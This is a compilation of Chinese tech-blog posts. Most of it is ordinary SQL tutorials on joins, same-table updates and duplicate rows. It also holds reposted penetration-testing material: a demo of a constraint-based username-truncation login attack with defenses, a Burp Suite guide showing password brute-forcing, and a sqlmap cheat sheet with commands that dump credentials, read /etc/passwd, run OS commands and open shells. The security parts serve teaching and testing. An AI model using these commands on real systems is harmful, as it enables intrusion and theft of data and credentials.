关于SQL中join的各种用法总结 技术文章
首先声明:文章来源于国外的 codeproject 我这里只是由于复习SQL的时候需要就Google搜索[可以用我个人搭建的Google搜索供大家搜索文章学习使用]了一下,找到这篇文章,再次做个简单的记录同时也方便以后的有缘人,如有侵权的地方还请来信注明,感谢原文的作者的勤劳付出,留下如此详细全面的关于SQL的join的用法。
codeproject是国外一个免费的可以公开自己写的代码与程序的优秀网站有点类似于GitHub只不过是社区版,在这个网站所有用户都可以发布自己写过的代码,程序,或者是详细的文档说明。比国内的cnblog、csdn都要好,如果要说缺点的话,就是全英文的,当然大部分还是比较容易理解的。但是codeproject也有中文区: https://www.codeproject.com/Forums/1580230/General-Chinese-Topics.aspx ,感兴趣的可以去注册玩。
我们先用一张图来看一下 LEFT JOIN、RIGHT JOIN、INNER JOIN、OUTER JOIN 等七种 join 相关的用法:
下面分开说明这七种用法,先说第一种:
1.INNER JOIN(内连接)
这是最简单,最容易理解的Join,也是最常见的。此查询将返回左表(表A)中右表(表B)中都具有匹配记录的所有记录(共同拥有的相同的部分)。此Join用法的代码大致如下:
SELECT <select_list> FROM Table_A A INNER JOIN Table_B B ON A.Key = B.Key
2.LEFT JOIN
(左连接)
LEFT JOIN 关键字会从左表 (table_name1) 那里返回所有的行,即使在右表 (table_name2) 中没有匹配的行。此Join用法的代码大致如下:
SELECT <select_list> FROM Table_A A LEFT JOIN Table_B B ON A.Key = B.Key
3.RIGHT JOIN
(右连接)
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。此Join用法的代码大致如下:
SELECT <select_list> FROM Table_A A RIGHT JOIN Table_B B ON A.Key = B.Key
4.OUTER JOIN
(外连接)
FULL OUTER JOIN 关键字只要左表(table1)和右表(table2)其中一个表中存在匹配,则返回行. FULL OUTER JOIN 关键字结合了 LEFT JOIN 和 RIGHT JOIN 的结果。此Join用法的代码大致如下:
SELECT <select_list> FROM Table_A A FULL OUTER JOIN Table_B B ON A.Key = B.Key
5.LEFT JOIN EXCLUDING INNER JOIN
(左连接-内连接)
此查询将返回左表(表A)中与右表(表B)中的任何记录都不匹配的所有记录。此Join的编写如下:
SELECT <select_list> FROM Table_A A LEFT JOIN Table_B B ON A.Key = B.Key WHERE B.Key IS NULL
6.RIGHT JOIN EXCLUDING INNER JOIN
(右连接-内连接)
此查询将返回右表(表B)中与左表(表A)中的任何记录都不匹配的所有记录。此Join的编写如下:
SELECT <select_list> FROM Table_A A RIGHT JOIN Table_B B ON A.Key = B.Key WHERE A.Key IS NULL
7.OUTER JOIN EXCLUDING INNER JOIN
(外连接-内连接)
此查询将返回左表(表A)中的所有记录以及右表(表B)中都不匹配的所有记录。我还没有需要使用这种类型的Join,但是其他的类型,我经常使用。此Join的编写如下:
SELECT <select_list> FROM Table_A A FULL OUTER JOIN Table_B B ON A.Key = B.Key WHERE A.Key IS NULL OR B.Key IS NULL
下面举一些例子:
TABLE_A PK Value ---- ---------- 1 FOX 2 COP 3 TAXI 6 WASHINGTON 7 DELL 5 ARIZONA 4 LINCOLN 10 LUCENT TABLE_B PK Value ---- ---------- 1 TROT 2 CAR 3 CAB 6 MONUMENT 7 PC 8 MICROSOFT 9 APPLE 11 SCOTCH这七种连接方式的结果如下所示:
-- INNER JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A INNER JOIN Table_B B ON A.PK = B.PK A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- 1 FOX TROT 1 2 COP CAR 2 3 TAXI CAB 3 6 WASHINGTON MONUMENT 6 7 DELL PC 7 (5 row(s) affected)
-- LEFT JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A LEFT JOIN Table_B B ON A.PK = B.PK A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- 1 FOX TROT 1 2 COP CAR 2 3 TAXI CAB 3 4 LINCOLN NULL NULL 5 ARIZONA NULL NULL 6 WASHINGTON MONUMENT 6 7 DELL PC 7 10 LUCENT NULL NULL (8 row(s) affected)
-- RIGHT JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A RIGHT JOIN Table_B B ON A.PK = B.PK A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- 1 FOX TROT 1 2 COP CAR 2 3 TAXI CAB 3 6 WASHINGTON MONUMENT 6 7 DELL PC 7 NULL NULL MICROSOFT 8 NULL NULL APPLE 9 NULL NULL SCOTCH 11 (8 row(s) affected)
-- OUTER JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A FULL OUTER JOIN Table_B B ON A.PK = B.PK A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- 1 FOX TROT 1 2 COP CAR 2 3 TAXI CAB 3 6 WASHINGTON MONUMENT 6 7 DELL PC 7 NULL NULL MICROSOFT 8 NULL NULL APPLE 9 NULL NULL SCOTCH 11 5 ARIZONA NULL NULL 4 LINCOLN NULL NULL 10 LUCENT NULL NULL (11 row(s) affected)
-- LEFT EXCLUDING JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A LEFT JOIN Table_B B ON A.PK = B.PK WHERE B.PK IS NULL A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- 4 LINCOLN NULL NULL 5 ARIZONA NULL NULL 10 LUCENT NULL NULL (3 row(s) affected)
-- RIGHT EXCLUDING JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A RIGHT JOIN Table_B B ON A.PK = B.PK WHERE A.PK IS NULL A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- NULL NULL MICROSOFT 8 NULL NULL APPLE 9 NULL NULL SCOTCH 11 (3 row(s) affected)
-- OUTER EXCLUDING JOIN SELECT A.PK AS A_PK, A.Value AS A_Value, B.Value AS B_Value, B.PK AS B_PK FROM Table_A A FULL OUTER JOIN Table_B B ON A.PK = B.PK WHERE A.PK IS NULL OR B.PK IS NULL A_PK A_Value B_Value B_PK ---- ---------- ---------- ---- NULL NULL MICROSOFT 8 NULL NULL APPLE 9 NULL NULL SCOTCH 11 5 ARIZONA NULL NULL 4 LINCOLN NULL NULL 10 LUCENT NULL NULL (6 row(s) affected)注:原文连接:https://www.codeproject.com/Articles/33052/Visual-Representation-of-SQL-Joins
MySQL 在 SELECT 的同时 UPDATE 同一张表 技术文章
MySQL 不允许 SELECT FROM 后面指向用作 UPDATE 的表,有时候让人纠结。当然,有比创建无休止的临时表更好的办法。本文解释如何 UPDATE 一张表,同时在查询子句中使用 SELECT.
问题描述
假设我要 UPDATE 的表跟查询子句是同一张表,这样做有许多种原因,例如用统计数据更新表的字段(此时需要用 group 子句返回统计值),从某一条记录的字段 update 另一条记录,而不必使用非标准的语句,等等。举个例子:
create table apples(variety char(10) primary key, price int); insert into apples values('fuji', 5), ('gala', 6); update apples set price = (select price from apples where variety = 'gala') where variety = 'fuji';
错误提示是:ERROR 1093 (HY000): You can't specify target table'apples' for update in FROM clause. MySQL 手册 UPDATE documentation 这下面有说明 : “Currently, you cannot update a table and select from the same table in a subquery.”
在这个例子中,要解决问题也十分简单,但有时候不得不通过查询子句来 update 目标。好在我们有办法。
解决办法
既然 MySQL 是通过临时表来实现 FROM 子句里面的嵌套查询,那么把嵌套查询装进另外一个嵌套查询里,可使 FROM 子句查询和保存都是在临时表里进行,然后间接地在外围查询被引用。下面的语句是正确的:
update apples set price = ( select price from ( select * from apples ) as x where variety = 'gala') where variety = 'fuji';
如果你想了解更多其中的机制,请阅读 MySQL Internals Manual 相关章节。
没有解决的问题
一个常见的问题是,IN() 子句优化废品,被重写成相关的嵌套查询,有时(往往?)造成性能低下。把嵌套查询装进另外一个嵌套查询里并不能阻止它重写成相关嵌套,除非我下狠招。这种情况下,最好用 JOIN 重构查询(rewrite such a query as a join)。
另一个没解决的问题是临时表被引用多次。“装进嵌套查询” 的技巧无法解决这些问题,因为它们在编译时被创建,而上面讨论的 update 问题是在运行时。(译者注:个人认为跟文章讨论的主题没几毛钱关系)
原文地址:http://www.xaprb.com/blog/2006/06/23/how-to-select-from-an-update-target-in-mysql/
MySQL 如何查找并删除重复行? 技术文章
如何查找重复行
第一步是定义什么样的行才是重复行。多数情况下很简单:它们某一列具有相同的值。本文采用这一定义,或许你对“重复”的定义比这复杂,你需要对sql做些修改。
本文要用到的数据样本
create table test(id int not null primary key, day date not null); insert into test(id, day) values(1, '2006-10-08'); insert into test(id, day) values(2, '2006-10-08'); insert into test(id, day) values(3, '2006-10-09'); select * from test; +----+------------+ | id | day | +----+------------+ | 1 | 2006-10-08 | | 2 | 2006-10-08 | | 3 | 2006-10-09 | +----+------------+
前面两行在day字段具有相同的值,因此如何我将他们当做重复行,这里有一查询语句可以查找。查询语句使用GROUP BY子句把具有相同字段值的行归为一组,然后计算组的大小。
select day, count(*) from test GROUP BY day; +------------+----------+ | day | count(*) | +------------+----------+ | 2006-10-08 | 2 | | 2006-10-09 | 1 | +------------+----------+
重复行的组大小大于1。如何希望只显示重复行,必须使用HAVING子句,比如
select day, count(*) from test group by day HAVING count(*) > 1; +------------+----------+ | day | count(*) | +------------+----------+ | 2006-10-08 | 2 | +------------+----------+
这是基本的技巧:根据具有相同值的字段分组,然后知显示大小大于1的组。
为什么不能使用WHERE子句?
因为WHERE子句过滤的是分组之前的行,HAVING子句过滤的是分组之后的行。
如何删除重复行
一个相关的问题是如何删除重复行。一个常见的任务是,重复行只保留一行,其他删除,然后你可以创建适当的索引,防止以后再有重复的行写入数据库。
同样,首先是弄清楚重复行的定义。你要保留的是哪一行呢?第一行,或者某个字段具有最大值的行?本文中,假设要保留的是第一行——id字段具有最小值的行,意味着你要删除其他的行。
也许最简单的方法是通过临时表。尤其对于MYSQL,有些限制是不能在一个查询语句中select的同时update一个表。在我的另一篇文章中 MySQL 在 SELECT 的同时 UPDATE 同一张表(How to select from an update target in MySQL), 讲述了如何绕过这些限制。简单起见,这里只用到了临时表的方法。
我们的任务是:删除所有重复行,除了分组中id字段具有最小值的行。因此,需要找出大小大于1的分组,以及希望保留的行。你可以使用MIN()函数。这里的语句是创建临时表,以及查找需要用DELETE删除的行。
create temporary table to_delete (day date not null, min_id int not null); insert into to_delete(day, min_id) select day, MIN(id) from test group by day having count(*) > 1; select * from to_delete; +------------+--------+ | day | min_id | +------------+--------+ | 2006-10-08 | 1 | +------------+--------+
有了这些数据,你可以开始删除“脏数据”行了。可以有几种方法,各有优劣(详见我的文章many-to-one problems in SQL),但这里不做详细比较,只是说明在支持查询子句的关系数据库中,使用的标准方法。
delete from test where exists( select * from to_delete where to_delete.day = test.day and to_delete.min_id <> test.id )
如何查找多列上的重复行
有人最近问到这样的问题:
我的一个表上有两个字段b和c,分别关联到其他两个表的b和c字段。我想要找出在b字段或者c字段上具有重复值的行。
咋看很难明白,通过对话后我理解了:他想要对b和c分别创建unique索引。如上所述,查找在某一字段上具有重复值的行很简单,只要用group分组,然后计算组的大小。并且查找全部字段重复的行也很简单,只要把所有字段放到group子句。但如果是判断b字段重复或者c字段重复,问题困难得多。这里提问者用到的样本数据
create table a_b_c( a int not null primary key auto_increment, b int, c int ); insert into a_b_c(b,c) values (1, 1); insert into a_b_c(b,c) values (1, 2); insert into a_b_c(b,c) values (1, 3); insert into a_b_c(b,c) values (2, 1); insert into a_b_c(b,c) values (2, 2); insert into a_b_c(b,c) values (2, 3); insert into a_b_c(b,c) values (3, 1); insert into a_b_c(b,c) values (3, 2); insert into a_b_c(b,c) values (3, 3);
现在,你可以轻易看到表里面有一些重复的行,但找不到两行具有相同的二元组{b, c}。这就是为什么问题会变得困难了。
错误的查询语句
如果把两列放在一起分组,你会得到不同的结果,具体看如何分组和计算大小。提问者恰恰是困在了这里。有时候查询语句找到一些重复行却漏了其他的。这是他用到了查询
select b, c, count(*) from a_b_c group by b, c having count(distinct b > 1) or count(distinct c > 1);
结果返回所有的行,因为CONT(*)总是1.为什么?因为 >1 写在COUNT()里面。这个错误很容易被忽略,事实上等效于
select b, c, count(*) from a_b_c group by b, c having count(1) or count(1);
为什么?因为 (b> 1) 是一个布尔值,根本不是你想要的结果。你要的是:
select b, c, count(*) from a_b_c group by b, c having count(distinct b) > 1 or count(distinct c) > 1;
返回空结果。很显然,因为没有重复的{b,c}。这人试了很多其他的OR和AND的组合,用来分组的是一个字段,计算大小的是另一个字段,像这样
select b, count(*) from a_b_c group by b having count(distinct c) > 1; +------+----------+ | b | count(*) | +------+----------+ | 1 | 3 | | 2 | 3 | | 3 | 3 | +------+----------+
没有一个能够找出全部的重复行。而且最令人沮丧的是,对于某些情况,这种语句是有效的,如果错误地以为就是这么写法,然而对于另外的情况,很可能得到错误结果。
事实上,单纯用GROUP BY 是不可行的。为什么?因为当你对某一字段使用group by时,就会把另一字段的值分散到不同的分组里。对这些字段排序可以看到这些效果,正如分组做的那样。首先,对b字段排序,看看它是如何分组的
a | b | c |
---|---|---|
7 | 1 | 1 |
8 | 1 | 2 |
9 | 1 | 3 |
10 | 2 | 1 |
11 | 2 | 2 |
12 | 2 | 3 |
13 | 3 | 1 |
14 | 3 | 2 |
15 | 3 | 3 |
当你对b字段排序(分组),相同值的c被分到不同的组,因此不能用COUNT(DISTINCT c)来计算大小。COUNT()之类的内部函数只作用于同一个分组,对于不同分组的行就无能为力了。类似,如果排序的是c字段,相同值的b也会分到不同的组,无论如何是不能达到我们的目的的。
几种正确的方法
也许最简单的方法是分别对某个字段查找重复行,然后用UNION拼在一起,像这样:
select b as value, count(*) as cnt, 'b' as what_col from a_b_c group by b having count(*) > 1 union select c as value, count(*) as cnt, 'c' as what_col from a_b_c group by c having count(*) > 1; +-------+-----+----------+ | value | cnt | what_col | +-------+-----+----------+ | 1 | 3 | b | | 2 | 3 | b | | 3 | 3 | b | | 1 | 3 | c | | 2 | 3 | c | | 3 | 3 | c | +-------+-----+----------+
输出what_col字段为了提示重复的是哪个字段。另一个办法是使用嵌套查询:
select a, b, c from a_b_c where b in (select b from a_b_c group by b having count(*) > 1) or c in (select c from a_b_c group by c having count(*) > 1); +----+------+------+ | a | b | c | +----+------+------+ | 7 | 1 | 1 | | 8 | 1 | 2 | | 9 | 1 | 3 | | 10 | 2 | 1 | | 11 | 2 | 2 | | 12 | 2 | 3 | | 13 | 3 | 1 | | 14 | 3 | 2 | | 15 | 3 | 3 | +----+------+------+
这种方法的效率要比使用UNION低许多,并且显示每一重复的行,而不是重复的字段值。还有一种方法,将自己跟group的嵌套查询结果联表查询。写法比较复杂,但对于复杂的数据或者对效率有较高要求的情况,是很有必要的。
select a, a_b_c.b, a_b_c.c from a_b_c left outer join ( select b from a_b_c group by b having count(*) > 1 ) as b on a_b_c.b = b.b left outer join ( select c from a_b_c group by c having count(*) > 1 ) as c on a_b_c.c = c.c where b.b is not null or c.c is not null
以上方法可行,我敢肯定还有其他的方法。如果UNION能用,我想会是最简单不过的了。
原文地址:https://www.xaprb.com/blog/2006/10/09/how-to-find-duplicate-rows-with-sql/
【转载】基于约束的SQL攻击 渗透测试
前言
值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞,其危害与SQL注入不相上下,但却不太常见。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。
注意:本文不是讲述SQL注入攻击
背景介绍
最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:
<?php
// Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully
.
.
} else { // If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}
使用以下代码验证登录信息:
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res); return $row['username'];
}
} return Null;
安全考虑:
过滤用户输入参数了吗? — 完成检查
使用单引号(’)来增加安全性了吗? — 完成检查
按理说应该不会出错了啊?
然而,攻击者依然能够以任意用户身份进行登录!
攻击手法
在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。
-
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
-
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
现在,让我们建立一个测试数据库来演示具体攻击过程。
vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing; Query OK, 1 row affected (0.03 sec) mysql> USE testing; Database changed
接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。
mysql> CREATE TABLE users ( -> username varchar(25),
-> password varchar(25)
-> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
-> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+ 1 row in set (0.00 sec)
为了展示尾部空白字符的修剪情况,我们可以键入下列命令:
mysql> SELECT * FROM users
-> WHERE username='vampire '; +----------+-------------+ | username | password | +----------+-------------+ | vampire | my_password | +----------+-------------+ 1 row in set (0.00 sec)
现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。
mysql> SELECT * FROM users
-> WHERE username='vampire 1';
Empty set (0.00 sec)
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。
mysql> INSERT INTO users(username, password)
-> VALUES ('vampire 1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire';
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | my_password |
| vampire | random_pass |
+---------------------------+-------------+ 2 rows in set (0.00 sec)
很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。
防御手段
毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:
-
将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。
-
最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪
-
为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)
注:
最好讲MySQL设置成宽松模式,set @@sql_mode=ANSI;即可,还有就是注册时,一般的这种非法的用户名是不能注册的吧。。。不过还是又利用空间的。
文章出自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/
Burp Suite新手指南 技术文章
Burp Suite想必大家都用过,但是大家未必知道它的所有功能。因此,本文的主要目的就是尽量深入介绍各种功能。BurpSuite有以下这些功能:
[blue]
截获代理– 让你审查修改浏览器和目标应用间的流量。爬虫 – 抓取内容和功能
Web应用扫描器* –自动化检测多种类型的漏洞
Intruder – 提供强大的定制化攻击发掘漏洞
Repeater – 篡改并且重发请求
Sequencer –测试token的随机性
能够保存工作进度,以后再恢复
插件*– 你可以自己写插件或者使用写好的插件,插件可以执行复杂的,高度定制化的任务
*表示需要Burp Suite Pro授权。
[/blue]
Intercepting Proxy(截取代理)
Intercepting proxy是针对web应用渗透测试工具的功能。Burp Suite的代理工具非常容易使用,并且能和其他工具紧密配合。要使用这个功能,第一步就是建立代理监听(Proxy–> Options功能下)。我的设置为了默认值localhost (127.0.0.1),端口为8080。
你可以点击编辑(“Edit”)进行修改,或者添加新的监听端口。一旦建立好,你就要到浏览器的网络连接设置处手动配置代理设置:
我们现在可以访问我们要测试的应用,然后看到发送的所有请求了。到Proxy –> Intercept标签页,然后确保截获功能开启(“Intercept is on”),然后就能看到所有的请求了。
你可以修改请求,然后点击“Forward”发送修改后的请求,如果不想发送某些请求你也可以点击“Drop”按钮。“Actions”按钮下还有很多其他的功能。
如果你想回过头看下前面发送的请求,你可以切换到Proxy –> HTTP History标签页,这里有所有的请求列表,还有些详情如响应的长度,MIME类型和状态码。如果你修改过请求,你会看到两个标签,分别是修改前和修改后的请求:
另一个有用的功能是自动修改请求/响应,功能位于Proxy –> Options。通过这个功能可以去除JavaScript的表单验证。你也可以用正则表达式匹配替换请求/响应:
Spider(爬虫)
当你在对web应用进行初步检查的时候,Burp Suite的spider工具非常有用。当你浏览Web应用时,它会从HTML响应内容中主动生成一份URL列表,然后尝试连接URL。要使用爬虫功能,我们首先要切换到Target–> Site Map标签,然后右键域名,选择“Add To Scope”:
所有加入的域名都在Target –> Scope标签页里。你可以手动添加域名,修改,或者添加需要配出的URL(比如如果你不希望对“联系我们”的表单进行自动化测试,就可以把它排除掉):
如果我们现在进入Spider –> Control标签,就能看到有些URL正在排队中,注意看下面,爬虫只会对scope中的域名进行测试:
回到Site Map我们可以看到URL的列表,黑色代表我们已经成功访问过那个页面,爬虫确认过是有效的。灰色代表爬虫在HTML响应中找到了这个URL但是还没有确认是否有效:
基本的设置后,我们返回到Spider –> Control标签,点击“Spider Is Paused”按钮运行工具,它会尝试连接所有之前找到的URL,包括在运行过程中找到的新的。如果过程中有表单需要填写,它会弹出表单供你填写,确保能收到有效的响应:
现在Site Map中就有整理整齐的URL了:
Spider –> Options标签下有些你可以调整的选项,如user-agent ,或者爬虫应该爬多深,两个重要的设置是表单提交和应用登录,设置好之后爬虫可以自动为你填写表单:
Intruder
Intruder是Burp Suite中最受欢迎的工具。Intruder是获取Web应用信息的工具。它可以用来爆破,枚举,漏洞测试等任何你想要用的测试手段,然后从结果中获取数据。
我举个例子来演示Intruder的使用方法。即爆破登录页面的管理员密码(假设没有帐号锁定)。首先,我们切换到Proxy-> HTTP History,右键要测试的请求,点击“Send To Intruder”:
接下来我们切换到Intruder标签,准备攻击。程序会在Target标签里自动填上请求中的host和端口。在Position(位置)标签出哦我们可以看到我们选择的请求并设置我们要攻击的位置。用鼠标高亮想要攻击的位置, 然后点击右边的“Add”,如果需要的话可以选择多个位置:
最上面的地方有多种攻击类型,本例中我们使用默认的Sniper,但实际上每种攻击类型都有特定用途:
[blue]
Sniper – 这个模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行fuzzing测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram – 这一模式使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。
Pitchfork – 这一模式使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量。
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。
[/blue]
位置设定好之后我们切换到Payloads标签,选择攻击时使用的数据。顶部的地方你可以看到payload组。各个组都对应设置的各个位置。我们可以选择payload类型,如简易列表(Simple List)。
在那下面有一些payload选项。每个payload类型都有不同的选项,供用户为你的测试进行修改。我经常使用的是数字(Numbers),你可以设置范围,选择是连续的数字还是随机数字,还有每次攻击时的步长等。不过对于我们要搞的爆破攻击,我们只需要添加一个密码字典就行:
接下来就是点击右上角的开始攻击(Start Attack)按钮。程序就会弹出一个新的窗口,显示的是尝试的每个payload和响应的详情。我们的例子中,第六个请求获取到了正确的密码:
我们返回主窗口,然后切换到Intruder –> Options标签页,可以发现还有些别配置。其中一个很重要的是“Grep– Match”功能,这个功能可以让你基于HTML中的字符串或者正则表达式标记出结果。这些标记会在新增的栏里出现。
[green]注:免费版的Burp Suite会对Intruder限速,专业版会更快。[/green]
Repeater(重复器)、decoder(解码器)和comparer(比较器)也很有用,但由于使用简单,在此就不再赘述了。
原文地址:https://matttheripperblog.files.wordpress.com/2016/01/add-to-scope.png?w=770
笔记:SQLMAP常用参数讲解 渗透测试
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数据库类型
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″ -b #获取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″ –string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
***********高级用法*************
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
–technique 测试指定注入类型\使用的技术
不加参数默认测试所有注入技术
• B: 基于布尔的SQL 盲注
• E: 基于显错sql 注入
• U: 基于UNION 注入
• S: 叠层sql 注入
• T: 基于时间盲注
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
–tamper 插件所在目录
\sqlmap-dev\tamper
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users –smart 智 能
level 执行测试等级 攻击实例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
参考文档:http://sqlmap.sourceforge.net/doc/README.html
***********安装最新版本*************
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装python
http://www.sliksvn.com/en/download 安装windows svn client
